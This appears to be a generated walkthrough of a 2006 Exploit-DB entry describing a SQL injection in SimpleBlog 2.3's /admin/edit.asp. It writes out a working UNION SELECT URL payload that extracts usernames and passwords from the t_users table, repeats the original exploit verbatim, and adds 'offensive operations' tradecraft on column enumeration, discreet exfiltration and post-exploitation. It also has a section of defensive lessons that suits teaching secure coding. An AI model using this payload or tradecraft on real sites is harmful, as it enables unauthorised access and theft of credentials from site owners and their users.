SimpleBlog 2.3 SQL Injection: Stealing User Credentials

What this paper is

This paper describes a SQL injection vulnerability found in SimpleBlog version 2.3. Specifically, it targets the /admin/edit.asp page. The vulnerability allows an attacker to inject malicious SQL code into the id parameter, which can then be used to extract sensitive information, such as usernames and passwords, from the blog's database.

Simple technical breakdown

The core of the vulnerability lies in how the web application handles user input for the id parameter. Instead of properly sanitizing or validating this input, the application directly incorporates it into a SQL query. By crafting a special id value that includes SQL commands, an attacker can trick the database into executing unintended queries.

In this specific case, the attacker uses a UNION SELECT statement. This SQL technique allows an attacker to combine the results of their injected query with the results of the original query. By carefully selecting the number of columns and their data types, the attacker can "hijack" the output of the original query to display data from other tables, such as the t_users table which likely stores user credentials.

Complete code and payload walkthrough

The provided "code" is actually a URL exploit string, not traditional programming code. Let's break down the exploit URL:

http://[target]/[path]/admin/edit.asp?id=-1+union+select+0,uUSERNAME,uPASSWORD,0,0,0,0,0,0+from+t_users

• http://[target]/[path]/admin/edit.asp: This is the base URL of the vulnerable web application.

  • [target]: Placeholder for the IP address or domain name of the vulnerable server.
  • [path]: Placeholder for the directory where SimpleBlog is installed on the web server.
  • admin/edit.asp: The specific ASP page that contains the vulnerability.

• ?id=: This indicates the start of query parameters, and id is the vulnerable parameter.

• -1: This is the initial value provided to the id parameter. It's likely chosen to be a value that would normally not exist or would trigger a specific behavior in the original query, ensuring that the UNION SELECT part of the query is executed.

• +union+select+: This is the core of the SQL injection.

  • UNION: This SQL operator combines the result set of two or more SELECT statements.
  • SELECT: This keyword is used to retrieve data from a database.
  • The + symbols represent URL-encoded spaces.

• 0,uUSERNAME,uPASSWORD,0,0,0,0,0,0: This is the injected SELECT statement designed to extract credentials.

  • 0: These are placeholder values. The number of 0s (and the subsequent columns) must match the number of columns expected by the original query that edit.asp would normally execute. This is crucial for the UNION SELECT to work without causing a database error.
  • uUSERNAME: This is likely the name of the column in the t_users table that stores usernames.
  • uPASSWORD: This is likely the name of the column in the t_users table that stores passwords.

• +from+t_users: This specifies the table from which to retrieve the data.

  • t_users: This is the name of the table in the database that stores user information, including usernames and passwords.

Mapping list:

• http://[target]/[path]/admin/edit.asp: Target vulnerable page.
• ?id=: Parameter being exploited.
• -1: Initial value to ensure UNION SELECT is processed.
• +union+select+: SQL command to combine query results.
• 0: Placeholder column to match original query structure.
• uUSERNAME: Column containing the username.
• uPASSWORD: Column containing the password.
• +from+t_users: Table containing user credentials.

Payload Execution Flow:

1. The web server receives the crafted URL.
2. The admin/edit.asp script takes the id parameter's value (-1 union select 0,uUSERNAME,uPASSWORD,0,0,0,0,0,0 from t_users).
3. The script constructs a SQL query using this value. The original query is likely something like SELECT * FROM some_table WHERE id = [value].
4. The injected value replaces [value], resulting in a query similar to: SELECT 0,uUSERNAME,uPASSWORD,0,0,0,0,0,0 FROM t_users WHERE id = -1.
5. The UNION operator combines the results. Since id = -1 likely returns no rows, the results from SELECT 0,uUSERNAME,uPASSWORD,0,0,0,0,0,0 FROM t_users are displayed instead.
6. The web application then displays the retrieved uUSERNAME and uPASSWORD values on the page, potentially in a way that is visible to the attacker.

Practical details for offensive operations teams

• Required Access Level: Unauthenticated access to the web application is sufficient. The vulnerability is exposed via a public-facing URL.
• Lab Preconditions:
  • A target SimpleBlog v2.3 installation.
  • A web server (e.g., IIS) hosting the application.
  • A database (likely MS Access or SQL Server, given the ASP context) accessible by the web server.
  • Knowledge of the web application's installation path ([path]).
  • Knowledge of the target's IP address or domain name ([target]).
• Tooling Assumptions:
  • A web browser for manual testing or reconnaissance.
  • A web proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify requests, and to help identify the correct number of columns for the UNION SELECT.
  • Potentially an automated SQL injection tool, though manual crafting is straightforward here.
• Execution Pitfalls:
  • Incorrect Column Count: The most common failure point. If the number of columns in the injected SELECT statement (0,uUSERNAME,uPASSWORD,0,0,0,0,0,0) does not match the number of columns in the original query's SELECT list, the database will return an error. This requires reconnaissance to determine the original query's structure.
  • Incorrect Column Names: uUSERNAME and uPASSWORD are assumptions. The actual column names might differ, requiring enumeration.
  • URL Encoding: Spaces and special characters in the payload must be URL-encoded (e.g., + for space, %27 for ').
  • Web Application Firewall (WAF): A WAF might detect and block the malicious SQL syntax.
  • Database Errors: The application might be configured to hide database errors, making it harder to confirm the injection and extract data.
• Tradecraft Considerations:
  • Reconnaissance: Before attempting the exploit, it's crucial to determine the number of columns in the original query. This can be done by sending requests with increasing numbers of placeholder values in the UNION SELECT statement until the error disappears or the page renders successfully. For example:
    • ?id=-1+union+select+0+from+t_users (likely fails)
    • ?id=-1+union+select+0,1+from+t_users (likely fails)
    • ... until the correct number is found.
  • Data Exfiltration: Once credentials are found, consider how to exfiltrate them discreetly. Simply displaying them on a web page might be too noisy.
  • Post-Exploitation: If admin credentials are obtained, this provides direct access to the SimpleBlog administration panel, allowing for further actions like content modification, user management, or potentially uploading malicious files if the application has such features.

Where this was used and when

This exploit was published in 2006. It targets a specific version (2.3) of SimpleBlog. While the exact widespread use is not detailed in the paper, vulnerabilities of this nature were common in web applications during this era. It would have been used against any publicly accessible SimpleBlog v2.3 installations that had not been patched or updated.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially data used in database queries, must be rigorously validated and sanitized. Never trust user input.
• Parameterized Queries (Prepared Statements): Modern web development frameworks and languages provide mechanisms for parameterized queries. These separate SQL code from data, preventing malicious input from being interpreted as SQL commands.
• Least Privilege Principle: The database user account used by the web application should have only the minimum necessary permissions. It should not have permissions to drop tables, execute arbitrary commands, or access sensitive system tables unless absolutely required.
• Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common SQL injection attempts. However, they should be used in conjunction with secure coding practices, not as a replacement.
• Regular Patching and Updates: Keeping web applications and their underlying software (web server, database) updated with the latest security patches is essential.
• Error Handling: Configure applications to log detailed errors internally but display generic error messages to users. This prevents attackers from gaining information about the database structure or query execution through error messages.

ASCII visual (if applicable)

This exploit is a direct manipulation of a web request and its interaction with the backend database. An ASCII diagram can illustrate the flow of data and control:

+-----------------+      +-----------------+      +-----------------+
| Attacker's      |----->| Web Server      |----->| Database Server |
| Browser/Tool    |      | (SimpleBlog     |      | (t_users table) |
+-----------------+      |  v2.3)          |      +-----------------+
        ^                +-------+---------+              |
        |                        |                        |
        | Malicious URL          | Original Query         | Data (uUSERNAME,
        | (SQL Injection)        | (Modified by Inject)   |  uPASSWORD)
        |                        v                        |
        |                +-----------------+                |
        +----------------| edit.asp script |----------------+
                         +-----------------+

Explanation:

1. The attacker crafts a malicious URL containing SQL injection.
2. The Web Server receives the URL and passes the id parameter to the edit.asp script.
3. The edit.asp script, due to its vulnerability, incorporates the malicious id value directly into a SQL query sent to the Database Server.
4. The Database Server executes the modified query, which, due to the UNION SELECT, returns data from the t_users table.
5. The edit.asp script then displays this retrieved data, which the attacker can see.

Source references

• PAPER ID: 2853
• PAPER TITLE: SimpleBlog 2.3 - '/admin/edit.asp' SQL Injection
• AUTHOR: bolivar
• PUBLISHED: 2006-11-26
• KEYWORDS: ASP, webapps
• PAPER URL: https://www.exploit-db.com/papers/2853
• RAW URL: https://www.exploit-db.com/raw/2853

Original Exploit-DB Content (Verbatim)

# Title   :  simpleblog <= v 2.3 (/admin/edit.asp) Remote SQL Injection Vulnerability
# Author  :  bolivar
# Dork    :  "SimpleBlog 2.3 by 8pixel.net"

---------------------------------------------------------------------------

http://[target]/[path]/admin/edit.asp?id=-1+union+select+0,uUSERNAME,uPASSWORD,0,0,0,0,0,0+from+t_users

---------------------------------------------------------------------------
# Just for Fun!!

# milw0rm.com [2006-11-26]